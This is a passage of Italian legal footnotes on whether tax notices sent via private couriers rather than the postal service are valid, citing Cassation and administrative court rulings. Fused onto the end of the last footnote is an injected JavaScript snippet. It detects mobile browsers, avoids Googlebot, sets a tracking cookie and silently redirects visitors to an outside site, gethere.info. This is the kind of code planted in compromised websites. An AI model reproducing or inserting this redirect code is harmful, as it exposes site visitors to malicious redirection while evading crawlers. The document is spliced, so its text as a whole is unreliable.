(6) Vale sottolineare, tuttavia, che diversa è la conclusione nell’ipotesi in cui sia il legislatore a prescrivere che per l’esecuzione della notificazione di un atto debba farsi ricorso alla «raccomandata con avviso di ricevimento», ciò che ordinariamente è prescritto per la notificazione degli atti impositivi. In tali casi, infatti, «non può che utilizzarsi il cosiddetto servizio postale universale fornito dall’Ente Poste su tutto il territorio nazionale, con la conseguenza che qualora tale adempimento sia affidato ad un’agenzia privata di recapito, esso non è conforme alla formalità prescritta dall’art. 140 c.p.c. e, pertanto, non è idoneo al perfezionamento del procedimento notificatorio», così Cass., sez. trib., 7 maggio 2008, n. 11095, in Boll. Trib. On-line.
(7) Segnaliamo, per completezza d’informazione, che nella circ. n. 28/E/2002, cit., l’Amministrazione finanziaria giunge a conclusione opposta rispetto a quella qui prospettata.
(8) TAR Molise, sez. I, 10 marzo 2010, n. 172, in Foro amm. TAR, 2010, 967.
(9) TAR Emilia Romagna, sez. I, 28 ottobre 2011, n. 742, in Foro amm. TAR, 2011, 3100.
(10) Per completezza della ricerca, segnaliamo che a tale orientamento sembra si sia ispirato, in precedenza, anche il Consiglio di Stato (cfr. Cons. Stato, sez. VI, 22 novembre 2006, n. 6835, in Giurisdiz. amm., 2006, I, 1602) che, pur riconoscendo la possibilità di inviare le offerte tramite corriere privato anche quando il bando di gara stabilisca che le stesse siano inviate tramite servizio postale, ha chiarito che è la «data certa dell’arrivo delle offerte ad essere garantita non solo dal servizio postale, ovvero dalle agenzie di recapito autorizzate, ma anche dall’utilizzo di corrieri privati muniti di autorizzazione generale». Affermazione che, di fatto, sembrerebbe escludere analoga garanzia per la “data di spedizione” tramite corriere privato.
(11) Così TAR Molise 9 marzo 2007, n. 162, in Foro amm. TAR, 2007, 1043.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}